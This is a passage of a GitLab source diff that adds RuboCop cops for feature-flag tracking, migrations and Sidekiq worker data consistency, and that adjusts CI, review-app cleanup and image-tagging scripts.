+ :usage_data_static_site_editor_merge_requests # https://gitlab.com/gitlab-org/gitlab/-/issues/284083
+ ].freeze
+
+ # Called before all on_... have been called
+ # When refining this method, always call `super`
+ def on_new_investigation
+ super
+ track_dynamic_feature_flags!
+ track_usage_data_counters_known_events!
+ end
+
+ def on_casgn(node)
+ _, lhs_name, rhs = *node
+
+ save_used_feature_flag(rhs.value) if lhs_name == :FEATURE_FLAG
+ end
+
+ def on_send(node)
+ return if in_spec?(node)
+ return unless trackable_flag?(node)
+
+ flag_arg = flag_arg(node)
+ flag_value = flag_value(node)
+ return unless flag_value
+
+ if flag_arg_is_str_or_sym?(node)
+ if caller_is_feature_gitaly?(node)
+ save_used_feature_flag("gitaly_#{flag_value}")
+ else
+ save_used_feature_flag(flag_value)
+ end
+
+ if experiment_method?(node) || experimentation_method?(node)
+ # Additionally, mark experiment-related feature flag as used as well
+ matching_feature_flags = defined_feature_flags.select { |flag| flag == "#{flag_value}_experiment_percentage" }
+ matching_feature_flags.each do |matching_feature_flag|
+ puts_if_ci(node, "The '#{matching_feature_flag}' feature flag tracks the #{flag_value} experiment, which is still in use, so we'll mark it as used.")
+ save_used_feature_flag(matching_feature_flag)
+ end
+ end
+ elsif flag_arg_is_send_type?(node)
+ puts_if_ci(node, "Feature flag is dynamic: '#{flag_value}.")
+ elsif flag_arg_is_dstr_or_dsym?(node)
+ str_prefix = flag_arg.children[0]
+ rest_children = flag_arg.children[1..]
+
+ if rest_children.none? { |child| child.str_type? }
+ matching_feature_flags = defined_feature_flags.select { |flag| flag.start_with?(str_prefix.value) }
+ matching_feature_flags.each do |matching_feature_flag|
+ puts_if_ci(node, "The '#{matching_feature_flag}' feature flag starts with '#{str_prefix.value}', so we'll optimistically mark it as used.")
+ save_used_feature_flag(matching_feature_flag)
+ end
+ else
+ puts_if_ci(node, "Interpolated feature flag name has multiple static string parts, we won't track it.")
+ end
+ else
+ puts_if_ci(node, "Feature flag has an unknown type: #{flag_arg.type}.")
+ end
+ end
+
+ private
+
+ def puts_if_ci(node, text)
+ puts "#{text} (call: `#{node.source}`, source: #{node.location.expression.source_buffer.name})" if ENV['CI']
+ end
+
+ def save_used_feature_flag(feature_flag_name)
+ used_feature_flag_file = File.expand_path("../../../tmp/feature_flags/#{feature_flag_name}.used", __dir__)
+ return if File.exist?(used_feature_flag_file)
+
+ FileUtils.touch(used_feature_flag_file)
+ end
+
+ def class_caller(node)
+ node.children[0]&.const_name.to_s
+ end
+
+ def method_name(node)
+ node.children[1]
+ end
+
+ def flag_arg(node)
+ if worker_method?(node)
+ return unless node.children.size > 3
+
+ node.children[3].each_pair.find do |pair|
+ pair.key.value == :feature_flag
+ end&.value
+ elsif graphql_method?(node)
+ return unless node.children.size > 3
+
+ opts_index = node.children[3].hash_type? ? 3 : 4
+ return unless node.children[opts_index]
+
+ node.children[opts_index].each_pair.find do |pair|
+ pair.key.value == :feature_flag
+ end&.value
+ else
+ arg_index = rugged_method?(node) ? 3 : 2
+
+ node.children[arg_index]
+ end
+ end
+
+ def flag_value(node)
+ flag_arg = flag_arg(node)
+ return unless flag_arg
+
+ if flag_arg.respond_to?(:value)
+ flag_arg.value
+ else
+ flag_arg
+ end.to_s.tr("\n/", ' _')
+ end
+
+ def flag_arg_is_str_or_sym?(node)
+ flag_arg = flag_arg(node)
+ flag_arg.str_type? || flag_arg.sym_type?
+ end
+
+ def flag_arg_is_send_type?(node)
+ flag_arg(node).send_type?
+ end
+
+ def flag_arg_is_dstr_or_dsym?(node)
+ flag = flag_arg(node)
+ (flag.dstr_type? || flag.dsym_type?) && flag.children[0].str_type?
+ end
+
+ def caller_is_feature?(node)
+ class_caller(node) == "Feature"
+ end
+
+ def caller_is_feature_gitaly?(node)
+ class_caller(node) == "Feature::Gitaly"
+ end
+
+ def caller_is_experimentation?(node)
+ class_caller(node) == "Gitlab::Experimentation"
+ end
+
+ def experiment_method?(node)
+ EXPERIMENT_METHODS.include?(method_name(node))
+ end
+
+ def rugged_method?(node)
+ RUGGED_METHODS.include?(method_name(node))
+ end
+
+ def feature_method?(node)
+ FEATURE_METHODS.include?(method_name(node)) && (caller_is_feature?(node) || caller_is_feature_gitaly?(node))
+ end
+
+ def experimentation_method?(node)
+ EXPERIMENTATION_METHODS.include?(method_name(node)) && caller_is_experimentation?(node)
+ end
+
+ def worker_method?(node)
+ WORKER_METHODS.include?(method_name(node))
+ end
+
+ def graphql_method?(node)
+ GRAPHQL_METHODS.include?(method_name(node)) && in_graphql_types?(node)
+ end
+
+ def self_method?(node)
+ SELF_METHODS.include?(method_name(node)) && class_caller(node).empty?
+ end
+
+ def trackable_flag?(node)
+ feature_method?(node) || experimentation_method?(node) || graphql_method?(node) || self_method?(node)
+ end
+
+ # Marking all event's feature flags as used as Gitlab::UsageDataCounters::HLLRedisCounter.track_event{,context}
+ # is mostly used with dynamic event name.
+ def track_dynamic_feature_flags!
+ DYNAMIC_FEATURE_FLAGS.each(&method(:save_used_feature_flag))
+ end
+
+ # Marking all event's feature flags as used as Gitlab::UsageDataCounters::HLLRedisCounter.track_event{,context}
+ # is mostly used with dynamic event name.
+ def track_usage_data_counters_known_events!
+ usage_data_counters_known_event_feature_flags.each(&method(:save_used_feature_flag))
+ end
+
+ def usage_data_counters_known_event_feature_flags
+ USAGE_DATA_COUNTERS_EVENTS_YAML_GLOBS.each_with_object(Set.new) do |glob, memo|
+ Dir.glob(glob).each do |path|
+ YAML.safe_load(File.read(path))&.each do |hash|
+ memo << hash['feature_flag'] if hash['feature_flag']
+ end
+ end
+ end
+ end
+
+ def defined_feature_flags
+ @defined_feature_flags ||= begin
+ flags_paths = [
+ 'config/feature_flags/**/*.yml'
+ ]
+
+ # For EE additionally process `ee/` feature flags
+ if File.exist?(File.expand_path('../../../ee/app/models/license.rb', __dir__)) && !%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
+ flags_paths << 'ee/config/feature_flags/**/*.yml'
+ end
+
+ flags_paths.each_with_object([]) do |flags_path, memo|
+ flags_path = File.expand_path("../../../#{flags_path}", __dir__)
+ Dir.glob(flags_path).each do |path|
+ feature_flag_name = File.basename(path, '.yml')
+
+ memo << feature_flag_name
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/migration/prevent_index_creation.rb b/rubocop/cop/migration/prevent_index_creation.rb
new file mode 100644
index 00000000000..c90f911d24e
--- /dev/null
+++ b/rubocop/cop/migration/prevent_index_creation.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+require_relative '../../migration_helpers'
+
+module RuboCop
+ module Cop
+ module Migration
+ # Cop that checks if new indexes are introduced to forbidden tables.
+ class PreventIndexCreation < RuboCop::Cop::Cop
+ include MigrationHelpers
+
+ FORBIDDEN_TABLES = %i[ci_builds].freeze
+
+ MSG = "Adding new index to #{FORBIDDEN_TABLES.join(", ")} is forbidden, see https://gitlab.com/gitlab-org/gitlab/-/issues/332886"
+
+ def_node_matcher :add_index?, <<~PATTERN
+ (send nil? :add_index (sym #forbidden_tables?) ...)
+ PATTERN
+
+ def_node_matcher :add_concurrent_index?, <<~PATTERN
+ (send nil? :add_concurrent_index (sym #forbidden_tables?) ...)
+ PATTERN
+
+ def forbidden_tables?(node)
+ FORBIDDEN_TABLES.include?(node)
+ end
+
+ def on_def(node)
+ return unless in_migration?(node)
+
+ node.each_descendant(:send) do |send_node|
+ add_offense(send_node, location: :selector) if offense?(send_node)
+ end
+ end
+
+ def offense?(node)
+ add_index?(node) || add_concurrent_index?(node)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/migration/sidekiq_queue_migrate.rb b/rubocop/cop/migration/sidekiq_queue_migrate.rb
new file mode 100644
index 00000000000..134bda590da
--- /dev/null
+++ b/rubocop/cop/migration/sidekiq_queue_migrate.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require_relative '../../migration_helpers'
+
+module RuboCop
+ module Cop
+ module Migration
+ # Cop that checks if sidekiq_queue_migrate is used in a regular
+ # (not post-deployment) migration.
+ class SidekiqQueueMigrate < RuboCop::Cop::Cop
+ include MigrationHelpers
+
+ MSG = '`sidekiq_queue_migrate` must only be used in post-deployment migrations'
+
+ def on_def(node)
+ return unless in_migration?(node) && !in_post_deployment_migration?(node)
+
+ node.each_descendant(:send) do |send_node|
+ send_method = send_node.children[1]
+
+ if send_method == :sidekiq_queue_migrate
+ add_offense(send_node, location: :selector)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/migration/with_lock_retries_disallowed_method.rb b/rubocop/cop/migration/with_lock_retries_disallowed_method.rb
index cb36e7413ab..b3d05ad1a6d 100644
--- a/rubocop/cop/migration/with_lock_retries_disallowed_method.rb
+++ b/rubocop/cop/migration/with_lock_retries_disallowed_method.rb
@@ -22,6 +22,7 @@ module RuboCop
remove_foreign_key_if_exists
remove_foreign_key_without_error
rename_index
+ rename_constraint
table_exists?
index_exists_by_name?
foreign_key_exists?
diff --git a/rubocop/cop/worker_data_consistency.rb b/rubocop/cop/worker_data_consistency.rb
new file mode 100644
index 00000000000..e9047750f3e
--- /dev/null
+++ b/rubocop/cop/worker_data_consistency.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require_relative '../code_reuse_helpers'
+
+module RuboCop
+ module Cop
+ # This cop checks for a call to `data_consistency` to exist in Sidekiq workers.
+ #
+ # @example
+ #
+ # # bad
+ # class BadWorker
+ # def perform
+ # end
+ # end
+ #
+ # # good
+ # class GoodWorker
+ # data_consistency :delayed
+ #
+ # def perform
+ # end
+ # end
+ #
+ class WorkerDataConsistency < RuboCop::Cop::Cop
+ include CodeReuseHelpers
+
+ HELP_LINK = 'https://docs.gitlab.com/ee/development/sidekiq_style_guide.html#job-data-consistency-strategies'
+
+ MSG = <<~MSG
+ Should define data_consistency expectation.
+
+ It is encouraged for workers to use database replicas as much as possible by declaring
+ data_consistency to use the :delayed or :sticky modes. Mode :always will result in the
+ worker always hitting the primary database node for both reads and writes, which limits
+ scalability.
+
+ Some guidelines:
+
+ 1. If your worker mostly writes or reads its own writes, use mode :always. TRY TO AVOID THIS.
+ 2. If your worker performs mostly reads and can tolerate small delays, use mode :delayed.
+ 3. If your worker performs mostly reads but cannot tolerate any delays, use mode :sticky.
+
+ See #{HELP_LINK} for a more detailed explanation of these settings.
+ MSG
+
+ def_node_search :application_worker?, <<~PATTERN
+ `(send nil? :include (const nil? :ApplicationWorker))
+ PATTERN
+
+ def_node_search :data_consistency_defined?, <<~PATTERN
+ `(send nil? :data_consistency ...)
+ PATTERN
+
+ def on_class(node)
+ return unless in_worker?(node) && application_worker?(node)
+ return if data_consistency_defined?(node)
+
+ add_offense(node, location: :expression)
+ end
+ end
+ end
+end
diff --git a/rubocop/rubocop-migrations.yml b/rubocop/rubocop-migrations.yml
index c8f50016710..979b0fa2936 100644
--- a/rubocop/rubocop-migrations.yml
+++ b/rubocop/rubocop-migrations.yml
@@ -42,6 +42,7 @@ Migration/UpdateLargeTable:
- :user_details
- :vulnerability_occurrences
- :web_hook_logs
+ - :vulnerabilities
DeniedMethods:
- :change_column_type_concurrently
- :rename_column_concurrently
diff --git a/scripts/build_assets_image b/scripts/build_assets_image
index 12beddfa184..60bd9190b74 100755
--- a/scripts/build_assets_image
+++ b/scripts/build_assets_image
@@ -19,7 +19,12 @@ cp -r public/assets assets_container.build/public/
cp Dockerfile.assets assets_container.build/
COMMIT_REF_SLUG_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_REF_SLUG}
-COMMIT_SHA_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_SHA}
+# Use CI_MERGE_REQUEST_SOURCE_BRANCH_SHA (MR HEAD commit) so that the image is in sync with Omnibus/CNG images.
+# Background: Due to the fact that we cannot retrieve the Merged Commit in the downstream omnibus/CNG pipelines,
+# we're building the Omnibus/CNG images for the MR HEAD commit.
+# In turn, the assets image also needs to be built from the MR HEAD commit, so that everything is build from the same commit.
+# For non-MR commits, we fallback to $CI_COMMIT_SHA.
+COMMIT_SHA_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA:-$CI_COMMIT_SHA}
COMMIT_REF_NAME_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_REF_NAME}
DESTINATIONS="--destination=$COMMIT_REF_SLUG_DESTINATION --destination=$COMMIT_SHA_DESTINATION"
diff --git a/scripts/frontend/extract_gettext_all.js b/scripts/frontend/extract_gettext_all.js
index 896790a73bb..0a5e2b06971 100644
--- a/scripts/frontend/extract_gettext_all.js
+++ b/scripts/frontend/extract_gettext_all.js
@@ -6,7 +6,7 @@ const {
decorateExtractorWithHelpers,
} = require('gettext-extractor-vue');
const vue2TemplateCompiler = require('vue-template-compiler');
-const ensureSingleLine = require('../../app/assets/javascripts/locale/ensure_single_line.js');
+const ensureSingleLine = require('../../app/assets/javascripts/locale/ensure_single_line');
const args = argumentsParser
.option('-f, --file <file>', 'Extract message from one single file')
diff --git a/scripts/frontend/startup_css/startup_css_changed.sh b/scripts/frontend/startup_css/startup_css_changed.sh
index f214e61cdfb..2713d752974 100755
--- a/scripts/frontend/startup_css/startup_css_changed.sh
+++ b/scripts/frontend/startup_css/startup_css_changed.sh
@@ -10,10 +10,10 @@ echo "-----------------------------------------------------------"
startup_glob="*stylesheets/startup*"
echo "Staging changes to '${startup_glob}' so we can check for untracked files..."
-git add ${startup_glob}
+git add "${startup_glob}"
-if [ -n "$(git diff HEAD --name-only -- ${startup_glob})" ]; then
- diff=$(git diff HEAD -- ${startup_glob})
+if [ -n "$(git diff HEAD --name-only -- "${startup_glob}")" ]; then
+ diff=$(git diff HEAD -- "${startup_glob}")
cat <<EOF
Startup CSS changes detected!
@@ -21,14 +21,19 @@ Startup CSS changes detected!
It looks like there have been recent changes which require
regenerating the Startup CSS files.
-**What should I do now?**
+IMPORTANT:
-IMPORTANT: Please make sure to update your MR title with "[RUN AS-IF-FOSS]" and start a new MR pipeline
+ - If you are making changes to any Startup CSS file, it is very likely that
+ **both** the CE and EE Startup CSS files will need to be updated.
+ - Changing any Startup CSS file will trigger the "as-if-foss" job to also run.
+
+HOW TO FIX:
To fix this job, consider one of the following options:
- 1. Regenerating locally with "yarn run generate:startup_css".
- 2. Copy and apply the following diff:
+ 1. (Strongly recommended) Copy and apply the diff below:
+ 2. Regenerate locally with "yarn run generate:startup_css".
+ You may need to set "FOSS_ONLY=1" if you are trying to generate for CE.
----- start diff -----
$diff
diff --git a/scripts/frontend/stylelint/stylelint-utility-classes.js b/scripts/frontend/stylelint/stylelint-utility-classes.js
index 420fe82d826..14827145b54 100644
--- a/scripts/frontend/stylelint/stylelint-utility-classes.js
+++ b/scripts/frontend/stylelint/stylelint-utility-classes.js
@@ -1,6 +1,6 @@
const stylelint = require('stylelint');
const utils = require('./stylelint-utils');
-const utilityClasses = require('./utility-classes-map.js');
+const utilityClasses = require('./utility-classes-map');
const ruleName = 'stylelint-gitlab/utility-classes';
diff --git a/scripts/lint-doc.sh b/scripts/lint-doc.sh
index 7156488bfc8..33a46e73ee2 100755
--- a/scripts/lint-doc.sh
+++ b/scripts/lint-doc.sh
@@ -68,8 +68,8 @@ then
fi
# Do not use 'README.md', instead use 'index.md'
-# Number of 'README.md's as of 2020-10-13
-NUMBER_READMES=28
+# Number of 'README.md's as of 2021-06-21
+NUMBER_READMES=15
FIND_READMES=$(find doc/ -name "README.md" | wc -l)
echo '=> Checking for new README.md files...'
echo
diff --git a/scripts/merge-html-reports b/scripts/merge-html-reports
deleted file mode 100755
index de300851990..00000000000
--- a/scripts/merge-html-reports
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-require 'nokogiri'
-
-main_report_file = ARGV.shift
-unless main_report_file
- puts 'usage: merge-html-reports <main-report> <base-artifact-url> [parallel reports...]'
- exit 1
-end
-
-base_artifact_url = ARGV.shift
-unless base_artifact_url
- puts 'usage: merge-html-reports <main-report> <base-artifact-url> [parallel reports...]'
- exit 1
-end
-
-# Create the base report with empty body tag
-new_report = Nokogiri::HTML.parse(File.read(ARGV[0]))
-new_report.at_css('body').remove
-empty_body = Nokogiri::XML::Node.new('body', new_report)
-new_report.at_css('head').add_next_sibling(empty_body)
-
-ARGV.each do |report_file|
- report = Nokogiri::HTML.parse(File.read(report_file))
-
- report.css('a').each do |link|
- link_suffix = link['href'].slice(19..-1)
- link['href'] = base_artifact_url + link_suffix
- end
-
- header = report.css('div #rspec-header')
- tests = report.css('dt[id^="example_group_"]')
-
- tests.each do |test|
- title = test.parent
- group = title.parent
- script = title.css('script')
-
- if script.inner_html.include? 'makeYellow'
- test.remove_class('passed')
- test.add_class('not_implemented')
-
- group.remove_class('passed')
- group.add_class('not_implemented')
- header.add_class('not_implemented')
-
- script.remove
- test.next_sibling.remove
- test.next_sibling.remove
-
- elsif script.inner_html.include? 'makeRed'
- test.remove_class('passed')
- test.add_class('failed')
-
- group.remove_class('passed')
- group.add_class('failed')
- header.add_class('failed')
-
- script.remove
- test.next_sibling.remove
- test.next_sibling.remove
- end
- end
-
- duration = report.at_css('p#duration')
- totals = report.at_css('p#totals')
-
- duration_script = report.css('div.results script')[-2]
- totals_script = report.css('div.results script')[-1]
-
- duration_text = duration_script.text.slice(49..-3)
- totals_text = totals_script.text.slice(47..-3)
-
- duration.inner_html = duration_text
- totals.inner_html = totals_text
-
- duration_script.remove
- totals_script.remove
-
- # Add the new result after the last one to keep the test order
- new_report.css('body')[-1].add_next_sibling(report.at_css('body'))
-end
-
-File.write(main_report_file, new_report)
diff --git a/scripts/review_apps/automated_cleanup.rb b/scripts/review_apps/automated_cleanup.rb
index 0927481070b..5707f02d3f0 100755
--- a/scripts/review_apps/automated_cleanup.rb
+++ b/scripts/review_apps/automated_cleanup.rb
@@ -116,6 +116,12 @@ class AutomatedCleanup
delete_helm_releases(releases_to_delete)
end
+ def perform_stale_namespace_cleanup!(days:)
+ kubernetes_client = Tooling::KubernetesClient.new(namespace: nil)
+
+ kubernetes_client.cleanup_review_app_namespaces(created_before: threshold_time(days: days), wait: false)
+ end
+
def perform_stale_pvc_cleanup!(days:)
kubernetes.cleanup_by_created_at(resource_type: 'pvc', created_before: threshold_time(days: days), wait: false)
end
@@ -203,6 +209,10 @@ timed('Helm releases cleanup') do
automated_cleanup.perform_helm_releases_cleanup!(days: 7)
end
+timed('Stale Namespace cleanup') do
+ automated_cleanup.perform_stale_namespace_cleanup!(days: 14)
+end
+
timed('Stale PVC cleanup') do
automated_cleanup.perform_stale_pvc_cleanup!(days: 30)
end
diff --git a/scripts/review_apps/base-config.yaml b/scripts/review_apps/base-config.yaml
index bb4d5392b3b..981a8b51674 100644
--- a/scripts/review_apps/base-config.yaml
+++ b/scripts/review_apps/base-config.yaml
@@ -23,6 +23,7 @@ gitlab:
memory: 1500M
persistence:
size: 10G
+ storageClass: ssd
gitlab-exporter:
enabled: false
mailroom:
diff --git a/scripts/review_apps/review-apps.sh b/scripts/review_apps/review-apps.sh
index 6fb83e79f7f..a799f8cd925 100755
--- a/scripts/review_apps/review-apps.sh
+++ b/scripts/review_apps/review-apps.sh
@@ -48,7 +48,9 @@ function delete_release() {
return
fi
- delete_k8s_release_namespace
+ if deploy_exists "${namespace}" "${release}"; then
+ helm uninstall --namespace="${namespace}" "${release}"
+ fi
}
function delete_failed_release() {
@@ -66,7 +68,7 @@ function delete_failed_release() {
# Cleanup and previous installs, as FAILED and PENDING_UPGRADE will cause errors with `upgrade`
if previous_deploy_failed "${namespace}" "${release}" ; then
echoinfo "Review App deployment in bad state, cleaning up namespace ${release}"
- delete_release
+ delete_k8s_release_namespace
else
echoinfo "Review App deployment in good state"
fi
@@ -166,68 +168,9 @@ function label_namespace() {
local label="${2}"
echoinfo "Labeling the ${namespace} namespace with ${label}" true
+ echoinfo "We should pass the --overwrite option!"
- kubectl label namespace "${namespace}" "${label}"
-}
-
-function install_external_dns() {
- local namespace="${KUBE_NAMESPACE}"
- local release="dns-gitlab-review-app-helm3"
- local domain
- domain=$(echo "${REVIEW_APPS_DOMAIN}" | awk -F. '{printf "%s.%s", $(NF-1), $NF}')
- echoinfo "Installing external DNS for domain ${domain}..." true
-
- if ! deploy_exists "${namespace}" "${release}" || previous_deploy_failed "${namespace}" "${release}" ; then
- echoinfo "Installing external-dns Helm chart"
- helm repo add bitnami https://charts.bitnami.com/bitnami
- helm repo update
-
- # Default requested: CPU => 0, memory => 0
- helm install "${release}" bitnami/external-dns \
- --namespace "${namespace}" \
- --version '2.13.3' \
- --set provider="aws" \
- --set aws.credentials.secretKey="${REVIEW_APPS_AWS_SECRET_KEY}" \
- --set aws.credentials.accessKey="${REVIEW_APPS_AWS_ACCESS_KEY}" \
- --set aws.zoneType="public" \
- --set aws.batchChangeSize=400 \
- --set domainFilters[0]="${domain}" \
- --set txtOwnerId="${namespace}" \
- --set rbac.create="true" \
- --set policy="sync" \
- --set resources.requests.cpu=50m \
- --set resources.limits.cpu=100m \
- --set resources.requests.memory=100M \
- --set resources.limits.memory=200M
- else
- echoinfo "The external-dns Helm chart is already successfully deployed."
- fi
-}
-
-# This script is used to install cert-manager in the cluster
-# The installation steps are documented in
-# https://gitlab.com/gitlab-org/quality/team-tasks/snippets/1990286
-function install_certmanager() {
- local namespace="${KUBE_NAMESPACE}"
- local release="cert-manager-review-app-helm3"
-
- echoinfo "Installing cert-manager..." true
-
- if ! deploy_exists "${namespace}" "${release}" || previous_deploy_failed "${namespace}" "${release}" ; then
- kubectl apply \
- -f https://raw.githubusercontent.com/jetstack/cert-manager/release-0.10/deploy/manifests/00-crds.yaml
-
- echoinfo "Installing cert-manager Helm chart"
- helm repo add jetstack https://charts.jetstack.io
- helm repo update
-
- helm install "${release}" jetstack/cert-manager \
- --namespace "${namespace}" \
- --version v0.15.1 \
- --set installCRDS=true
- else
- echoinfo "The cert-manager Helm chart is already successfully deployed."
- fi
+ kubectl label --overwrite namespace "${namespace}" "${label}"
}
function create_application_secret() {
diff --git a/scripts/setup-test-env b/scripts/setup-test-env
new file mode 100755
index 00000000000..ebd3a48ae15
--- /dev/null
+++ b/scripts/setup-test-env
@@ -0,0 +1,68 @@
+#!/usr/bin/env ruby
+
+# frozen_string_literal: true
+
+require 'bundler/setup'
+
+require 'request_store'
+require 'rake'
+require 'active_support/dependencies'
+require 'active_support/dependencies/autoload'
+require 'active_support/core_ext/numeric'
+require 'active_support/string_inquirer'
+
+ENV['SKIP_RAILS_ENV_IN_RAKE'] = 'true'
+
+module Rails
+ extend self
+
+ def root
+ Pathname.new(File.expand_path('..', __dir__))
+ end
+
+ def env
+ @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+ end
+end
+
+ActiveSupport::Dependencies.autoload_paths << 'lib'
+
+load File.expand_path('../lib/tasks/gitlab/helpers.rake', __dir__)
+load File.expand_path('../lib/tasks/gitlab/gitaly.rake', __dir__)
+
+# Required for config/0_inject_enterprise_edition_module.rb, lib/gitlab/access.rb
+require_dependency File.expand_path('../lib/gitlab', __dir__)
+
+require_dependency File.expand_path('../config/initializers/0_inject_enterprise_edition_module', __dir__)
+
+# Require for lib/gitlab/gitaly_client/storage_settings.rb and config/initializers/1_settings.rb
+require 'active_support/hash_with_indifferent_access'
+
+# Required for lib/gitlab/visibility_level.rb and lib/gitlab/safe_request_store.rb
+require 'active_support/concern'
+require 'active_support/core_ext/module/delegation'
+
+# Required for lib/system_check/helpers.rb
+require_dependency File.expand_path('../lib/gitlab/task_helpers', __dir__)
+
+# Required for lib/tasks/gitlab/helpers.rake
+require_dependency File.expand_path('../lib/system_check/helpers', __dir__)
+
+# Required for config/initializers/1_settings.rb
+require 'omniauth'
+require 'omniauth-github'
+require 'etc'
+require_dependency File.expand_path('../lib/gitlab/access', __dir__)
+
+require_dependency File.expand_path('../config/initializers/1_settings', __dir__)
+
+Gitlab.ee do
+ load File.expand_path('../ee/lib/tasks/gitlab/indexer.rake', __dir__)
+
+ require_dependency File.expand_path('../ee/lib/gitlab/elastic/indexer', __dir__)
+ require_dependency File.expand_path('../lib/gitlab/utils/override', __dir__)
+end
+
+require_dependency File.expand_path('../spec/support/helpers/test_env', __dir__)
+
+TestEnv.init
diff --git a/scripts/static-analysis b/scripts/static-analysis
index 7aa2fbf1594..fc917f1b975 100755
--- a/scripts/static-analysis
+++ b/scripts/static-analysis
@@ -24,7 +24,10 @@ class StaticAnalysis
(Gitlab.ee? ? %w[bin/rake gettext:updated_check] : nil) => 410,
# Most of the time, RuboCop finishes in 30 seconds, but sometimes it can take around 1200 seconds so we set a
# duration of 300 to lower the likelihood that it will run in the same job as another long task...
- %w[bundle exec rubocop --parallel] => 300,
+ %w[bundle exec rubocop --parallel --except Gitlab/MarkUsedFeatureFlags] => 300,
+ # We need to disable the cache for this cop since it creates files under tmp/feature_flags/*.used,
+ # the cache would prevent these files from being created.
+ %w[bundle exec rubocop --only Gitlab/MarkUsedFeatureFlags --cache false] => 600,
%w[yarn run lint:eslint:all] => 264,
%w[yarn run lint:prettier] => 134,
%w[bin/rake gettext:lint] => 81,
diff --git a/scripts/trigger-build b/scripts/trigger-build
index 23c9ebbe294..cb235677b5d 100755
--- a/scripts/trigger-build
+++ b/scripts/trigger-build
@@ -135,11 +135,11 @@ module Trigger
end
def extra_variables
- # Use CI_MERGE_REQUEST_SOURCE_BRANCH_SHA for omnibus checkouts due to pipeline for merged results
- # and fallback to CI_COMMIT_SHA for the non-MR pipelines.
+ # Use CI_MERGE_REQUEST_SOURCE_BRANCH_SHA (MR HEAD commit) so that the image is in sync with the assets and QA images.
# See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#with-pipeline-for-merged-results.
# We also set IMAGE_TAG so the GitLab Docker image is tagged with that SHA.
source_sha = Trigger.non_empty_variable_value('CI_MERGE_REQUEST_SOURCE_BRANCH_SHA') || ENV['CI_COMMIT_SHA']
+
{
'GITLAB_VERSION' => source_sha,
'IMAGE_TAG' => source_sha,
@@ -177,12 +177,14 @@ module Trigger
def extra_variables
edition = Trigger.ee? ? 'EE' : 'CE'
+ # Use CI_MERGE_REQUEST_SOURCE_BRANCH_SHA (MR HEAD commit) so that the image is in sync with the assets and QA images.
+ source_sha = Trigger.non_empty_variable_value('CI_MERGE_REQUEST_SOURCE_BRANCH_SHA') || ENV['CI_COMMIT_SHA']
{
"ee" => Trigger.ee? ? "true" : "false",
- "GITLAB_VERSION" => ENV['CI_COMMIT_SHA'],
+ "GITLAB_VERSION" => source_sha,
"GITLAB_TAG" => ENV['CI_COMMIT_TAG'],
- "GITLAB_ASSETS_TAG" => ENV['CI_COMMIT_TAG'] ? ENV['CI_COMMIT_REF_NAME'] : ENV['CI_COMMIT_SHA'],
+ "GITLAB_ASSETS_TAG" => ENV['CI_COMMIT_TAG'] ? ENV['CI_COMMIT_REF_NAME'] : source_sha,
"FORCE_RAILS_IMAGE_BUILDS" => 'true',
"#{edition}_PIPELINE" => 'true'
}
@@ -311,27 +313,18 @@ module Trigger
comment = "<!-- #{IDENTIFIABLE_NOTE_TAG} --> \nStarted database testing [pipeline](https://ops.gitlab.net/#{downstream_project_path}/-/pipelines/#{pipeline.id}) " \
"(limited access). This comment will be updated once the pipeline has finished running."
- # Look for a note to update
+ # Look for an existing note
db_testing_notes = gitlab.merge_request_notes(project_path, merge_request_id).auto_paginate.select do |note|
note.body.include?(IDENTIFIABLE_NOTE_TAG)
end
- note = db_testing_notes.max_by { |note| Time.parse(note.created_at) }
-
- if note && note.type != 'DiscussionNote'
- # The latest note has not led to a discussion. Update it.
- gitlab.edit_merge_request_note(project_path, merge_request_id, note.id, comment)
-
- puts "Updated comment:\n"
- else
- # This is the first note or the latest note has been discussed on the MR.
- # Don't update, create new note instead.
+ if db_testing_notes.empty?
+ # This is the first note
note = gitlab.create_merge_request_note(project_path, merge_request_id, comment)
puts "Posted comment to:\n"
+ puts "https://gitlab.com/#{project_path}/-/merge_requests/#{merge_request_id}#note_#{note.id}"
end
-
- puts "https://gitlab.com/#{project_path}/-/merge_requests/#{merge_request_id}#note_#{note.id}"
end
private
diff --git a/scripts/used-feature-flags b/scripts/used-feature-flags
index aebd007dda9..07c022a4c1a 100755
--- a/scripts/used-feature-flags
+++ b/scripts/used-feature-flags
@@ -28,6 +28,16 @@ flags_paths = [
# For EE additionally process `ee/` feature flags
if File.exist?('ee/app/models/license.rb') && !%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
flags_paths << 'ee/config/feature_flags/**/*.yml'
+
+ # Geo feature flags are constructed dynamically and there's no explicit checks in the codebase so we mark all
+ # the replicators' derived feature flags as used.
+ # See https://gitlab.com/gitlab-org/gitlab/-/blob/54e802e8fe76b6f93656d75ef9b566bf57b60f41/ee/lib/gitlab/geo/replicator.rb#L183-185
+ Dir.glob('ee/app/replicators/geo/*_replicator.rb').each_with_object(Set.new) do |path, memo|
+ replicator_name = File.basename(path, '.rb')
+ feature_flag_name = "geo_#{replicator_name.delete_suffix('_replicator')}_replication"
+
+ FileUtils.touch(File.join('tmp', 'feature_flags', "#{feature_flag_name}.used"))
+ end
end
all_flags = {}
@@ -41,7 +51,17 @@ flags_paths.each do |flags_path|
feature_flag_name = File.basename(path, '.yml')
# TODO: we need a better way of tracking use of Gitaly FF across Gitaly and GitLab
- next if feature_flag_name.start_with?('gitaly_')
+ if feature_flag_name.start_with?('gitaly_')
+ puts "Skipping the #{feature_flag_name} feature flag since it starts with 'gitaly_'."
+ next
+ end
+
+ # Dynamic feature flag names for redirect to latest CI templates
